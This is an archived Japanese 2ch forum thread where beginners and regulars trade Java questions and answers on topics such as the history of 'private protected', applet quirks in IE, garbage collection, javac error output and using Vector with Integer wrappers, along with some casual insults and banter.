ネタ心者歓迎!今更ながらにJavaを学ぼう! その弐
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
NGNGネタ心者歓迎!今更ながらにJavaを学ぼう! その壱
http://piza.2ch.net/test/read.cgi?bbs=tech&key=981424252&ls=50
0002デフォルトの名無しさん
NGNG0003デフォルトの名無しさん
NGNGところで、なんでprivateな変数も継承されるの?
0004デフォルトの名無しさん
NGNG0005デフォルトの名無しさん
NGNG0007デフォルトの名無しさん
NGNG理由は書いていないよ・・・。
0008デフォルトの名無しさん
NGNG>>6
だ。
0009デフォルトの名無しさん
NGNGIt first appeared in JDK 1.0 FCS (it had not been in the betas). Then it was removed in JDK 1.0.1. It was an ugly hack syntax-wise, and it didn't
fit consistently with the other access modifiers. It never worked properly: in the versions of the JDK before it was removed, calls to private
protected methods were not dynamically bound, as they should have been. It added very little capability to the language. It's always a bad idea to
reuse existing keywords with a different meaning. Using two of them together only compounds the sin.
The official story is that it was a bug. That's not the full story. Private protected was put in because it was championed by a strong advocate. It
was pulled out when he was overruled by popular acclamation.
http://java.sun.com/people/linden/faq_b.html
0010どこでも翻訳隊
NGNGなかった)に現われました。それでそれは JDK 1.0.1で取り
去られました。それは構文論 - 賢明な醜いハックでした、そして
それは首尾一貫して他のアクセス変換機と適合しませんでした。
それは正確に決して働きませんでした: JDK のバージョンで
それが取り去られる前に、私的な保護された方法への呼び出しが、
(彼・それ)らがそうであるべきであった(時・から・につれて・
ように)、動的にバインドされませんでした。それは言語に極めて
少ししか能力を加えませんでした。それは異なった意味を持って
いる常に既存のキーワードを再利用する良くない考えです。
一緒に(彼・それ)らの2を使うことはただ罪を倍加させるだけ
です。公式の物語はそれが虫であったということです。それは
完全な話ではありません。守られた兵卒が、それが強い提唱者に
よって擁護されたから、投入されました。それは、彼が人気が
高い喝采によってくつがえされた時、引き抜かれました。
要約: 上司がゼヒというので無理して入れてみたところ、非難
轟々だったので止めました。
0011private protected にさよならを
NGNGJDK1.0 FCS で見かけたのが始まりだ(betaからじゃない)。
そしてJDK 1.0.1 ではいなくなった。
ハック野郎のための薄汚れたやり口で、他のアクセス修飾子との足並みがそろってなかったのさ。
そいつは決して真面目にやらんかったよ。
いなくなっちまう前の JDK では、そうすべきたっだのに private protected メソッドは動的に束縛されなかった。
シマにはスズメの涙ほどしか利益を与えんかったよ。
居場所が決まってた奴を違った仕事で再利用してやろうってのが馬鹿な考えなんだよ。
あの二人を一緒に使うってのは…つまり罪を作るってことよ。
表向きにはバグってことだがな。そりゃ本当の話じゃねえ。
private protected はボスのお達しだったが、
ファミリーの支持が得られず出て行ったというわけだ。
0012デフォルトの名無しさん
NGNG0013デフォルトの名無しさん
NGNG0014デフォルトの名無しさん
NGNG(VB厨以下)のくせにデカイ顔している勘違い野郎は、どう
にかして欲しい。
0015デフォルトの名無しさん
NGNGんじゃ何使ったらデカイ顔していいのだ?
0016おいらもJava使いだけどね。
NGNGJava使いには、OSの事とかネットワークの事とかの低レベルの仕組みや
それに起因する注意事項を全く知らないやつが多い。
Javaで「とりあえず動くだけの」汚いコードを書いた後で人に押し
付けて、異なる環境ごとの動作の違いとかを○投げするようなカタワは
「でかい顔」しちゃいかん。普通はなるべく環境関係なしに動く
ようなコードをつくらんといかんでしょ。
Java餓鬼ミーハーSEモドキと話していて困る事が多いのよ、ホント…
(COBOLER→VBER→ミーハーベンチャーITでJavaって言うパターンが
おおいみたいね、最近。)
0017デフォルトの名無しさん
NGNG今後ずっと保証されるの?
よくわかんない。
0018デフォルトの名無しさん
NGNG0019デフォルトの名無しさん
NGNGServletと通信プロトコルは関係ないです。
ただ、今は大抵tomcatとかでhttpdの裏で動かす実装が多いので、
「Servletの通信プロトコルはHTTPが主流」といってよいでしょうか。
ところで、HTTPが廃れる事ってあるんですか?SOAPとか最近大騒ぎ
みたいですが。
0020デフォルトの名無しさん
NGNG十分だし、シンプルで安定したインフラが整備されたわけだから
細かく仕様が変わっても HTTP 自体が廃れることは当分なさそう。
動的なコンテンツについては各団体・企業とも凌ぎあってるので
今後どうなるかわからん。
0021デフォルトの名無しさん
NGNGCORBA, Java-RMI, SOAP どれをとっても UNIX や Windows
の標準ディストリビューションの範囲で作れるものでないと
一般普及は難しいのではなかろうか? 標準化実装部隊って
ライブラリ固有の仕様に悩まされるの嫌うし。変なこと言っ
てたらすまそ。
0022デフォルトの名無しさん
NGNG業務システム構築のケースとかならSOAPはともかく、
RMIくらい当たり前に使われてるでしょ。
0023デフォルトの名無しさん
NGNG>>Java使いには、OSの事とかネットワークの事とかの低レベルの仕組みや
>>それに起因する注意事項を全く知らないやつが多い。
あんたの周りだけの狭い世界でそんなこと公言してると顰蹙買うよ
0024デフォルトの名無しさん
NGNGビューワで結果を見ますよね。なぜブラウザ上は範囲指定の灰色だけでで見る事が
できないのですか。JLableに文字書いてあるだけなのに。もしかしてブラウザの
問題でしょうか。IE5.5を使っております。どなたかご教授ください。
0025デフォルトの名無しさん
NGNGご教示ください
0026デフォルトの名無しさん
NGNGmutex変数としてこういうの
Object mutexObject = new Object();
をつくって、それをsynchronizedで囲ってwaitとかnotifyとか
してるんだけど、邪道ですか?
0027デフォルトの名無しさん
NGNGIEに載ってるのは、Java 1.1相当であります。
Swingとか1.2以降の機能は使えませぬ。
0028
NGNG額縁が嫌ならDHTML(JavaScript)がお手軽ざんす。
http://allabout.co.jp/computer/javascript/
002924
NGNGこれからはきちんとした日本語を使うでそうろう。
>>27
なるほど。たまにアプレットらしい画面を見るのはJava1.1相当なん
ですね。ってそんなのいまどきの本で載ってるの?Yahooゲームの
アプレットなんかもそういう事なんですかね。たまにやってるんで
気になりました。
>>28
激しくFAQとか言われそうな感じのレスですね。一応文字を書くテスト
をしてみただけですんで。
0030
NGNGいえ、単に自分が気に入ってるというだけなんです
0032デフォルトの名無しさん
NGNGディスプレイの縦・横のサイズを返せるメソッドとかってありますか?
よろしくお願いします。
0033デフォルトの名無しさん
NGNG0034デフォルトの名無しさん
NGNG即レス感謝します!!
ありがとうございました!!!
0035名無し
NGNG0036名無しさんWBS
NGNGhttp://www.geocities.com/SiliconValley/Bridge/8617/jad.html
ほい。
0037名無し
NGNGありがとうございます。
0038デフォルトの名無しさん
NGNG環境では、アプレットの変わりに画像ファイル(通常のバナー)を表示するようにすることは
できますか?
HTMLがらみなのでスレ違い or 既出っぽいですが、教えてください。
0039激烈初心者
NGNGとっても初心者な質問してよろしいでしょうか。
Javaってアクションゲーム作れますか?
「ガンスターヒーローズ」みたいなのを作りたいんですが。
作れるようなら今から勉強を始めたいと思います。
え? HSP?
えーと…それは後々応用が利かないような気がするので…
どうせ勉強するなら、少しでも将来性のある、
あるいは、各種プログラミング概念の理解に繋がる言語のほうがいいかなと…
0040デフォルトの名無しさん
NGNGずばり、できる。
世の中にはこういうページもある。
http://www.hinden5.com/senkousha/
セブンフォースが駆けずり回るその日まで頑張ってくれ。
マジで応援する。
0042デフォルトの名無しさん
NGNG俺もそうだ
ただ会社でIDEあたえれられてJavaってる人ならともかく、
一から勉強てる人なら少しはましだと思うけど
設定とか一通りこなしてるわけだし
でも貴方ぐらいの人からみられちゃうとだめだめなんだろうね
精進します
0043デフォルトの名無しさん
NGNGそういう人は、Java使い ではなく Java使われ といいます。
よろしくどうぞ
0044デフォルトの名無しさん
NGNGappletviewerの最初ウインドウの座標を取りたいんですけど、
int x = getBounds().x;
int y = getBounds().y;
では x と y に座標は入らないのでしょうか?
ゼロが入ってしまいます。
よろしくお願いします。
0045デフォルトの名無しさん
NGNGそれは初期位置じゃないか?
幅と高さは別の変数じゃないか?
ちゃんとドキュソメントと見た?
0046デフォルトの名無しさん
NGNG幅と高さじゃなくて、今必要なのは座標なんです。
ボタンが押されたときの
appletviewerの最初のウインドウの座標を取りたいんです。
そして、そのボタンによって画面に出されるフレームの配置場所を
その座標を使って決定したいんですけど。
だから、初期位置が欲しいってことになるのかな?
説明がヘタクソですみません。
0047デフォルトの名無しさん
NGNG場所は忘れたがダンジョンマスターのJava版(英語だったが)もあったと思うぞ。
0048デフォルトの名無しさん
NGNG基本的にどう違うのでしょうか?
0049名無しさんWBS
NGNGこんなアプレットも作れるらしい。気合い入ってんなあ。
自力描画だから初心者に手は出ないけど、ま、参考に。
0050デフォルトの名無しさん
NGNGAPPLETタグの中に書けば大丈夫だよ。
0051デフォルトの名無しさん
NGNG0052デフォルトの名無しさん
NGNGまったくの初心者なので何かおすすめの本とかあったら教えていただきたいです。
0053デフォルトの名無しさん
NGNGそのコンビネーションで問われた日にゃJavaって答えるしかないだろ
ゲームが目的なら「一歩先行くインターネットJava入門」しかないだろ
0054デフォルトの名無しさん
NGNG実行しても、ウインドウが小さく(最小化ではない)表示されます。
AbsoluteLayoutでGUI編集で作ったのと同じ大きさで
ウインドウを開くにはどうしたらよいのですか?
0055デフォルトの名無しさん
NGNG0056デフォルトの名無しさん
NGNGフレームの表示する前にsetSizeしてるか?
005754
NGNG自分でsetSizeするようにしたら、直りました。
しかしこのコードって自動で生成することはできないのでしょうか?
JBuilderは自動的に作ってくれたのですが・・・
0058デフォルトの名無しさん
NGNG多分、バグ(というか、仕様の不備)じゃねえの?
BugParadeにVoteしたら?
0059デフォルトの名無しさん
NGNGまあバグというよりは、ただの手抜きですな
いっても直るかは怪しいと思うよ
006054
NGNGフレームのコンストラクタから呼び出されている関数内で
setSize(new java.awt.Dimension(300, 400));
setLocation((screenSize.width-300)/2,(screenSize.height-400)/2);
というコードが生成されていました。
ここはプロパティーの値が反映されているのですが
実際表示した。ウインドウには反映されていません。
なにが違っているんでしょうか?
ちなみにわたしが直した方法は
mainメソッドで
ooo apl = new ooo ();
apl.setSize(300,400);
apl.show ();
とsetSizeすることで直したのですが
やはりバグなのでしょうか?
0061デフォルトの名無しさん
NGNG自動生成コードがそれで、そのままコンパイル実行して画面が
そのサイズで出ないなら、バグですな。
そうでないなら仕様不備。
0062デフォルトの名無しさん
NGNGJavacを実行してエラーメッセージをファイルに出力する
方法がイマイチわかりません。
javac Source.java -J-Djavac.pipe.output=true > error.txt
としているのですが、空のファイルだけが作成されてエラーメッセージ
が出力されません。
環境は
Windows98SE
JDK1.3
です。
皆さんはどうやっていますか?
0063デフォルトの名無しさん
NGNG2>
006454
NGNGわかりました。
じゃあバグということで了解しました。
006538
NGNG<APPLET
codebase="."
CODE="bana.class"
WIDTH=480
HEIGHT=360
SRC="bana.gif"
>
とやってみたんですができませんでした。っつーか確認できません。
この分盲にもう少し詳しく教えてください(w
0066デフォルトの名無しさん
NGNG-Xstdout(stdoutにエラーを出力)オプション使えるから。
006762
NGNGありがとう。エラー情報をファイルに書き込めることができました。
oldjavacなんて初めて聞いた。。。
0068デフォルトの名無しさん
NGNGSunの配布ドキュメントに書いてあるぞ。ちゃんと読めよ(藁)
0070デフォルトの名無しさん
NGNGCGIでゲーム?えええ?
HIDDENパラメータに状態埋めまくるとか?
効率悪そう…
0071デフォルトの名無しさん
NGNG技術としてはおもしろいかもしれない。
それに、CGIといってもサーバしだいだからね。
BASICが使えるCGIサーバならゲームに向いてるかも。
パラメータもサーバ側で保持するとか。
0072デフォルトの名無しさん
NGNGBASIC???
へ???
んなことするなら、Servletでセッション管理した方が
楽だし、ましだと思うが。
0073デフォルトの名無しさん
NGNGCGIは単にアプリケーションを起動する為の手段だからね
perlだけじゃなくほかにもいろいろ選択肢があるってこと
007473
NGNGやっぱJavaサイコー!
007551
NGNG007675
NGNGロードした画像の大きさを整数値として返すメソッドってないですか?
0077デフォルトの名無しさん
NGNGHIDDENでなくてもクッキーとかサーバー側でファイル作ってそのファイル名だけでやりとりとか
いろいろ方法はある。
0078デフォルトの名無しさん
NGNG0079デフォルトの名無しさん
NGNG<APPLET CODE="bana.class" WIDTH="480" HEIGHT="360">
<IMG SRC="bana.gif" WIDTH=480 HEIGHT=360 >
</APPLET>
じゃダメですか?
一応IE5.5で確認しました、後は知らん、エヘ。
0080デフォルトの名無しさん
NGNGロードが終わってないだけと思われます。
imageUpdateを実装したクラスのオブジェクトを
drawImageの最後の引数に渡してやって
imageUpdateが
(infoflags & ALLBITS)!=0
で呼ばれるまで待つよろし。
0081デフォルトの名無しさん
NGNG{
String a = nanntoka.toString();
return a;
}
というメソッドがあったとき、これを呼び出して得た文字列は
いつまで有効なの?
String b = hoge.getHoge();
この b の賞味期限切れるまで?
この b に別のものを上書きしたら参照が無くなって
ちゃんと開放される?
0082デフォルトの名無しさん
NGNG…メモリ的にはすぐには解放されません。
なぜならガベージコレクションだから。
しかも解放のタイミングはJREの種類によってマチマチらしいんだな、
これが…。
0083デフォルトの名無しさん
NGNG気にする必要ない。
bの他に有効な参照がなければそのうちGCが回収する。
008481
NGNGどもっす。ところで、何かの本で
もう使わなくなったインスタンス変数にはnullでも代入しとけば
ガベージコレクションがちょっと早くなるかもね
と書いてあったんだけど、実際どうでしょ?
メモリが極端に少ない環境でやってるので
ちょっと神経使わないとな〜と思ってます。
いま、どの参照がどのくらい生きてるかってのが
実際に実行中に確認しにくいってのも問題あるね。
0085デフォルトの名無しさん
NGNGそのオブジェクトはどの時点で生成したほうがよりベストか
コンストラクタの中?
それともクラス変数を定義したとき?
Stringに限らず、一般的な作法ではどっちが正解なのか
0086デフォルトの名無しさん
NGNG0087デフォルトの名無しさん
NGNGクラス変数(static Object ....) のように
寿命のながい参照については有効。
逆にループの中の参照とかは露骨に無駄。
0088デフォルトの名無しさん
NGNG008975
NGNGなんだかよくわかりませんが、勉強不足と認識しつつ頑張って見ます。
009081
NGNGどもっす。
これから積極的にnull埋めを使ってみようと思います。
0091デフォルトの名無しさん
NGNG0092デフォルトの名無しさん
NGNGJavaヒープ内でのメモリの解放タイミングは、そんなに気にしないで
いい話。
一つ気をつけなければいけないのは、そのインスタンスがもし内部で
システムコールとかをしてカーネルリソースなどのJavaヒープ外の
リソースを使用していた時、そのリソースがいらなくなったらすぐ
明示的に解放してやらないと、GC起動時のfinalize()コール時
まで解放が遅延すること。
例:
ウインドゥハンドル(Winオンリーかな?java.awt.Frameとか)
IOバッファ(Stream関係、あとSocketとか)
JDBCのコネクション(RDBMSってコネクション上限あったりするよね)
0093デフォルトの名無しさん
NGNGその手のものは大抵 close()だとかdispose()だとかで
資源の実体を解放するので、
そっちを呼んだ方が良いって事はないですか?
0094デフォルトの名無しさん
NGNGSunの試験(プログラマーの方)を受けようかと、今その対策本を片手に勉強中しています。
慣れた言語なので、プログラマー試験独特の引っかけに掛からないようにとしていて、
だいぶ正答率も高まってきたので、そろそろ試験を受けようかと考えています。
(\24、000-無駄にしたくない)
しかしプログラマー資格では、
とてもプログラミングの出来る人には思われない資格でしょうから、
ディベロッパーの方も取りたいなぁと思っています。
ディベロッパーの方は、プログラミング課題と記述式試験があるのですが、
http://sedap.sun.com/JPN/certification/devobj.html
>プログラミング課題の内容
>・情報を表示するグラフィカルユーザーインタフェースと、
> より柔軟な検索とレコードロッキングをサポートするためのデータベースの拡張
>・データベースシステムに対するネットワークサーバー機能
>・ユーザーインタフェースとデータベースを接続する通信機能
なんか↑だけ見るとデータベースの拡張やら何か大がかりそうです。
試験を受けたことがある方がいたら、どんな感じのものか教えていただけると助かります。
0095HOE
NGNGそう思うのであれば受からないよ
0096デフォルトの名無しさん
NGNGへ?
排他ロックや共有ロックの仕組みを自分で追加実装しろ
っていうだけの話じゃないの?
0097デフォルトの名無しさん
NGNG実はJavaのほとんどがポインタであるとも聞きました。
それはどのようなことですか?教えてください
0098デフォルトの名無しさん
NGNG0099デフォルトの名無しさん
NGNG0100デフォルトの名無しさん
NGNG0101名無しさん
NGNG俺今ちょうど受けてる。
心配する程の物でも無し、としか言えんな。
プログラマの試験も、対策の勉強なんてしなくても受かった。
中学生でも受かりそう。
0102デフォルトの名無しさん
NGNG逆に、ポインタ操作にはどういう利点と問題点があるのか
考えてみましょう。
>実はJavaのほとんどがポインタであるとも聞きました。
んー、Javaでは「参照(reference)」って言い方をしたと思いますが。
「ポインタ」と「参照」は微妙に違うので使い分けた方がいいかも。
0103デフォルトの名無しさん
NGNG単に言語仕様書上の用語の定義の問題
ちなみにもう一つ類似語にハンドルがある
これも取得後は破棄するまで変更できない点など
機能的にはJavaの参照(ポインタ?)とほとんど同じ概念。
ただしこれは言語とは独立した
OSや実行環境が管理しているものに使われることが多い。
たとえばファイルハンドルはストリームオブジェクトへの参照とも考えられる。
(ちなみにWin16の頃のメモリハンドルの煩雑さは地獄のようだった)
0104デフォルトの名無しさん
NGNGまだこの板は死んでいないようね
0105デフォルトの名無しさん
NGNG特色みたいな意見があったけどどのスレか覚えている人いますか?
いまさらかもしれないが興味が出てきたので。その時はJava始めたばかりで何も分からず
だったけど(今も似たようなものだが)今なんとなく階段上れそうなので。
みんなこういう時ってあるよね?今なら大丈夫だ!だけど今を逃したら今度はいつになる
か分からないって感じの時。あるよね?ってことでその時のスレ、またはもう一度解説
よろしくお願いします。
0106デフォルトの名無しさん
NGNGどのスレだか何の話だか良くわかんないから
スレッドをさかのぼってここにリンクを貼り付けてみなよ
(一部ダイジェストで内容コピペしたり)
そうしたら教えてあげる、か、も
0107105
NGNGどのスレッドか全く忘れましたのでできればもう一回お願いします。
(激しくガイシュツでなければいいのだが)
2つとも定義だけである。抽象クラスでは継承してサブクラスで実装する。
インターフェイスではimplementsしたクラスでメソッドを実装(変数は定数)
とここまでは分かりました。できれば区別の仕方と具体的な使い方について
教えてほしいです。
(hogeクラスがあってこういう場合は抽象クラスを使うもんだ、など)
よろしくたのんます、か、も
0108デフォルトの名無しさん
NGNGきまってあらしが出てくるしナー。
http://piza.2ch.net/test/read.cgi?bbs=tech&key=990949654
0109デフォルトの名無しさん
NGNGサンキューです。
>96
>排他ロックや共有ロックの仕組みを自分で追加実装しろ
>っていうだけの話じゃないの?
それくらいなら範囲内だ、受けよう。
0110109
NGNG0111あらし
NGNGおめーもったいぶってないで教えてやれよ。
2、3行で済むことだろ、そんなの。
0112デフォルトの名無しさん
NGNGワラタ
0113HOE
NGNGうまいぞ
0114デフォルトの名無しさん
NGNGダウンキャストは暗黙のキャストなのに、
アップキャスト(?)は明示しなくていけないのはなぜですか?
上のクラスにキャストすると下のメソッドなどが使えなくなる
危険があるからという解釈でよいでしょうか?
0115デフォルトの名無しさん
NGNGアップキャスト、ダウンキャストの定義を教えて下さい。
はずれているのでsageます。
0116デフォルトの名無しさん
NGNGhttp://www.amazon.co.jp/exec/obidos/ASIN/4797313935/249-1191213-7245150
この本がかなり分かり易いです。
本当はCGI/perlをやりたいのですが、プログラムの構造自体を理解
していないので、基本的なことから書いてあるこの本で勉強したいと
思ってます。JAVA以前の話で申し訳ないのですが、
プログラムの構造自体(for文やブロック、スコープ)の概念
というのはどの言語でも同じ様なものですか?
0117デフォルトの名無しさん
NGNG用語が逆。
アップキャストが暗黙的(普通キャストとは言わない)
ダウンキャストが明示的。
サブクラスしか持っていないメソッドをスーパークラスの
インスタンスでコールしたらどうなるかやってみろ。
0118デフォルトの名無しさん
NGNGよろしくお願いします。
appletviewerで開くと、まず座標(0,0)のところに、画面が出てきます。
その画面を移動させて、ボタンを押すごとに今の画面の座標を
System.out.printlnで表示させたいんですけど、
どこでボタンを押しても、最初の(0,0)しか表示されません。
ちなみに、座標は getBounds().x; と getBounds().y;
でとってます。
なぜでしょうか??
0119デフォルトの名無しさん
NGNG0120デフォルトの名無しさん
NGNG0121デフォルトの名無しさん
NGNG0122デフォルトの名無しさん
NGNG0123デフォルトの名無しさん
NGNGなーんでか?
0124デフォルトの名無しさん
NGNG0125ここからスタート
NGNG0126デフォルトの名無しさん
NGNGそろそろマジレス
使い方が悪い
0127118
NGNG使い方が悪いとは?
getBounds().x; と getBounds().y; の使い方っスか?
0128デフォルトの名無しさん
NGNGイエス!
0129118
NGNG0130デフォルトの名無しさん
NGNG0131デフォルトの名無しさん
NGNG0132デフォルトの名無しさん
NGNGどこに?
0133デフォルトの名無しさん
NGNGJAVAなんてやめとけもう死んでるぞ。
このスレ見たらわかるだろ!
Perlにしとけ。
0134デフォルトの名無しさん
NGNG0135デフォルトの名無しさん
NGNGそれともおまえの脳みそは片方しか入らないほど小さいのか?
0136デフォルトの名無しさん
NGNG0137HOE
NGNG0138デフォルトの名無しさん
NGNG0139デフォルトの名無しさん
NGNG優れている点やJAVAで何ができるか教えてください。
0140デフォルトの名無しさん
NGNG何が出来るって・・ んなの何でも出来るよ。
作る人次第だろ。
君が天才なら完全なAIだって出来るかもナ!
AI作って歴史に名を残してみろよ。
0141140
NGNG0142デフォルトの名無しさん
NGNGネタはそのあとききましょう。
0143デフォルトの名無しさん
NGNGマルチプラットフォームなところ
JAVAでしかできないこと
ない
0144HOE
NGNGオブジェクト指向というものを考える事が出来た
WindowsにはVC++/VBが最適だなって再確認できた
この世界・・MSに認められてなんぼの世界なんだなと実感できた
プログラマである前にWinで生きていくか他OSで生きていくかを
しっかりと見極める良い機会を与えてくれた 以上
0145J&D
NGNG・シンプルな言語仕様と豊富なクラスライブラリ
要するに、必ず覚えなければいけないことが少なくて、標準でできることが多い。
(使える部品が揃っている)
OSネイティブなツールでこれを満たしているのは、BorlandのDelphi.
ただ、Javaの方がよりシンプルで、クラスライブラリも豊富。
(個人的に使いやすさ、即効性ではDelphiが勝っていると思うが。)
たとえばC++だとコピーコンストラクタだの多重継承だの
ポインタがどうのこうのだの「どーでもいいよメンドクサイ」なことを
考えないといけない。これらは「C++プログラミング」にとっては重要事項
で理解しているといないとでは全然違うのだが、
「プログラミング」の本質では全くない。
0146デフォルトの名無しさん
NGNGthis.hoe = hoe ;
よりも
m_hoe = hoe ; の方が綺麗とか汚いとか・・・どうですか?
0147HOE
NGNGVC++メンバ変数じゃねーんだよ・・JDKのリファレンスにも
thisつかえって書いてあるんだからthis.使えばいいじゃん
変数宣言しなくて済むし、this書くのめんどくさいか?
<<そのJava相談室の人
0148デフォルトの名無しさん
NGNG0149デフォルトの名無しさん
NGNG0150デフォルトの名無しさん
NGNG0151デフォルトの名無しさん
NGNG0152デフォルトの名無しさん
NGNGていうかjBuilder使ってると
this.(変数名頭文字)で補完してくれるから
それでいいんじゃねーの?
0153HOE
NGNG0154糞ソースメンテ専…鬱
NGNGクラスごとにルールが違っているのは勘弁して欲しい。
0155デフォルトの名無しさん
NGNG0156デフォルトの名無しさん
NGNG*.classファイルに jshrink かけて その後に jar -cvf ..*jar *.class
してます。
ソースコードの最適化と ソースファイルの最適化について語りましょう!
0157デフォルトの名無しさん
NGNG0158デフォルトの名無しさん
NGNG実行可能ファイルを起動できません。
(Java VMの読み込み中に Windowsエラー1157が発生しました)
Javaはjdk1.4がインストールされており、普通に使えます。
0159デフォルトの名無しさん
NGNG0160デフォルトの名無しさん
NGNGRuntime.getRuntime().totalMemory()で
利用可能なメモリ量は取得できるけど
物理メモリ量は調べる方法ないと思うよ。
"-Xmx32m"みたいなオプションで
メモリ使用量制限できるけど、それじゃだめ?
0161159
NGNGレスありがとうございます。
単に物理メモリ量を取得したいだけなんです。
やっぱりJNI使うしかないでしょうか。
0162158
NGNG0163デフォルトの名無しさん
NGNG定数をハードコードしない。
なるべく別ファイルから読み込むようにする。
ローカル変数は使用頻度の高いものを上から4つまでに持ってくる。
変数、メソッドはなるべくアクセスを厳しく(できればprivate)してfinalにする。
あとはjavapの出力とVM仕様をにらみながらこつこつと。
1割削れれば上々ってとこかな。
労力には見合わないと思うよ。楽しいけどね。
0164163
NGNG4つじゃなくて3つだね。鬱
あとアクセス修飾子もサイズには関係ないっけ?
逝ってきます。
0165デフォルトの名無しさん
NGNGsynchlonizedするとサイズが大きくなるとか・・?
0166デフォルトの名無しさん
NGNGのサイズも小さくなるよ。デザインパターンは悪くなるけど
0167デフォルトの名無しさん
NGNGあんまり変わらないんじゃないかな?
だってスタックに積んだりするわけじゃないしね。
0168デフォルトの名無しさん
NGNGの二冊今日買ってきました。
どちらからやるべきでしょうか?
ちなみにC言語はある程度できますが、windowsプログラム
いわゆるAPIで挫折しました。
0169デフォルトの名無しさん
NGNGその2冊じゃあ、どっちも挫折すると思うよ。
0170デフォルトの名無しさん
NGNG0171デフォルトの名無しさん
NGNGいざというときに色々調べることが出来るように、しっかりとした本を
数冊と、JavaHouseのブックマークがあればOKかも^^
ところでレトロガードってフリーウェアじゃないんだよね?
0172デフォルトの名無しさん
NGNG鳴らす事ってできます?
IEでしか動作しないとかならできたんですが。
Java-House検索しても挫折した所しかでてこないんですよねえ。。
textファイルとかなら簡単に読みこめるんですが。。
0173デフォルトの名無しさん
NGNGjarにするとauも圧縮されるの?
0174デフォルトの名無しさん
NGNGアプレットのクラスファイルとauファイルを同じjarに入れて
AudioClip clip = getAudioClip(getClass().getResource("sound.au"));
clip.play();
でできると思うよ。
0175デフォルトの名無しさん
NGNGint型配列をVectorクラスに変更したのですが、
elementAt()などで、int型にキャストしてもしなくてもエラーを言い渡されるのは、
int型がObject型ではないから、という解釈でよろしいのでしょうか?
それと、それを回避できそうな手段があるでしょうか?
Java初心者ですみません。
0176デフォルトの名無しさん
NGNGその通り。intなど基本形はObjectでないので入れられない。
回避するにはintのラッパークラスIntegerを使う
aVector.add(new Integer(foo));
で追加し
int foo = ((Integer)aVector.elementAt(i)).intValue();
で取り出す。
Vectorから取り出す
→aVector.elementAt(i)
と、これはObject型として返されるので、まずIntegerにキャストする
→(Integer)aVector.elementAt(i)
Integerをintに直すためにintValue()を使い
→((Integer)aVector.elementAt(i)).intValue();
あと、Vectorは遅いので、ArrayListの方がいい(Applet環境でなければ)。
使い方はほとんど一緒だが、メソッド名の違いに気をつけてね。
elementAt(int i)はArrayListではget(i)。
0177175
NGNGどうにも、某オブジェクト指向スクリプト言語に慣れてしまったので、
このような所で躓いてしまいました。
0178デフォルトの名無しさん
NGNGつうか、そのオブジェクト指向スクリプト言語の方が美しくて
Javaのほうがダサイだけ。
0179デフォルトの名無しさん
NGNG0180デフォルトの名無しさん
NGNGは?事実をいっているだけだが。。。
0181デフォルトの名無しさん
NGNGintのようなプリミティブなデータ型をオブジェクトにしないってのは
現実的な譲歩ってやつだよ。
0182デフォルトの名無しさん
NGNG0183デフォルトの名無しさん
NGNGString b = "234";
でaとbを比較して、aにbの文字列が含まれていたら、
trueを返すようなメソッドありませんか?
APIはJDK1.2に含まれるもののみでお願いします
0184デフォルトの名無しさん
NGNG(a.indexOf(b) != -1)
0185デフォルトの名無しさん
NGNGいや、美しさに関して言ったので。。。現実的にどちらがいいとは
言ってない。ただ、初心者にはRubyから入って欲しいというのはある。
あまり関係ないので、さげ。
0186デフォルトの名無しさん
NGNGどうするとよいでしょうか?
Vector vc = new Vector
while (rs.next()) {
HashMap map = new HashMap();
map.put("0",rs.getString(0));
map.put("1",rs.getString(1));
map.put("2",rs.getString(2));
vct.add(map);
}
なんとも効率が悪そうなんですが・・・・
列1 列2 列3
0 A あ
1 B い
2 C う
3 D え
4 E お
5 F か
0187デフォルトの名無しさん
NGNG1.HashMapの行とwhileの行を逆にする
2.putの行をfor文にする
僕は始めて間もない初心者ですがこんなのはどうですか?
0188デフォルトの名無しさん
NGNG0190デフォルトの名無しさん
NGNGrsが何のインスタンスなのか不明だけど、
要はDBから受け取ったListがあって
そのListの要素Itemの列1をキーとして
HashMapにしたいってことなんだよね。
なら、大体の書き方は
List li;
//liのデータを受け取る
Map p = new HashMap();
Iterator iter = li.iterator();
while(iter.hasNext()){
Item it = (Item) iter.next();
p.add(it.get列1(),it);
}
って感じじゃない。
0191デフォルトの名無しさん
NGNGC:\jdk1.3.1\bin>java hello
Exception in thread "main" java.lang.NoClassDefFoundError: hello (wrong name: Hello)
at java.lang.ClassLoader.defineClass0(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:486)
at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:111)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:248)
at java.net.URLClassLoader.access$100(URLClassLoader.java:56)
at java.net.URLClassLoader$1.run(URLClassLoader.java:195)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:188)
at java.lang.ClassLoader.loadClass(ClassLoader.java:297)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:286)
at java.lang.ClassLoader.loadClass(ClassLoader.java:253)
at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:313)
C:\jdk1.3.1\bin>
0192デフォルトの名無しさん
NGNGその方法だと、一列しか格納できないですよね?
複数列格納するときは186みたいになっちゃいませんか?
0193デフォルトの名無しさん
NGNGつうか、javax.swing.table.DefaultTableModel
のサブクラス作ってそのまま放り込むのが、あとの扱いが楽だ
と思う。そのままjavax.swing.JTableのテーブル画面作れるし。
0194193
NGNG諦めよう。インピーダンスミスマッチの残りカス(殆どはJDBCが吸収
してくれていて、Javaは楽でいいよね)はそこの間抜けなコードで吸収
という事で。
0196ネ刀心者
NGNGAudioClipで流せるって書いてあったのに流れません。
auは流せました。
AppletでMIDI再生は不可能なのですか?
0197192=186
NGNGrsはDBの検索結果です。
表示はjspになんらかのオブジェクトでわたして行います。
0198デフォルトの名無しさん
NGNGVMのバージョン古いからじゃないけ?
MSのJVMじゃau以外できないとか、誰かいってなかったっけ?
0199196
NGNGそうでしたか・・・
MSあたりは勝手にMIDI再生できるように仕様変更してそうな感じなのに…
0200デフォルトの名無しさん
NGNG0201デフォルトの名無しさん
NGNGMSは事あるごとに、Javaの評判を下げよう下げようと努力しているので、
そんな気の利いたことを、するはずがないです。
0202196
NGNGあそうか、MSはJAVA毛嫌いしてるんだっけ。
そのうちVBAppletとか作るのか?>MS
ネスケはあんな感じだからApplet強化は期待できなさそうだし。
Appletは光を浴びずに消えていくのか…
0203デフォルトの名無しさん
NGNG通常のアプリケーションのように実行されるタイプの両方を作るべきだな。
0204190
